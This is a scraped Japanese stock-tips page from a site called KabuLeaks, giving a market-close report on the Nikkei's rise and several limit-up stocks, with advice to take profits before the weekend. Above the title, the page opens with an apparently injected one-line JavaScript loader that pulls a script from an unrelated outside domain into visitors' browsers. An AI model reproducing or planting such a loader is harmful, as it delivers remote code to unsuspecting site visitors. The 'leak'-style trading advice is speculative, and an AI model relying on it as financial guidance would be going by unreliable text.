;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【7/12 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【7/12 大引け】

本日の日経平均株価は386円高と大幅続伸し節目の1万6000円台を回復。後場の日経平均は寄り付きかしばらくもみ合いが続いたが引けにかけてはこの2日間からの急ピッチな上昇からの一旦の利益確定売りに押され引けにかけやや上げ幅を縮めた。業種別では、食料品の1業種を除いた32業種が上昇し、値上がり上位にはその他製品、その他金融業、銀行業などが並んだ。

個別では、16年5月期営業利益は従来予想上振れの見込みの【2459】アウンコンサルティングや直近底値圏の動きとなっていたインバウンド関連の【2780】コメ兵などが後場一段高のストップ高。また。ポケモンGO人気化で買いを集める【7974】任天堂も後場一段高。有名な億とレーダーCIS氏がツイッターでの買い観測とも取れる発言も影響した可能性も。他にも出遅れ有機EL関連として直近上昇目立った【6298】ワイエイシイなども大きく買われた。

引け後の先物は既に100円超の上昇と引き続き買い優勢、為替も103円台に定着しつつある状況。目先の政策期待、緩和期待などへの期待は高いが急ピッチ過ぎる上昇はやはりネック。

日経平均急騰前のポジションなら多少引っ張るのもアリだが前日、本日と仕込んだ銘柄など、ここからの上昇は一旦はあまり深追いせず週末までには一旦の利益確定売りを優先しておくのがベストかと思う。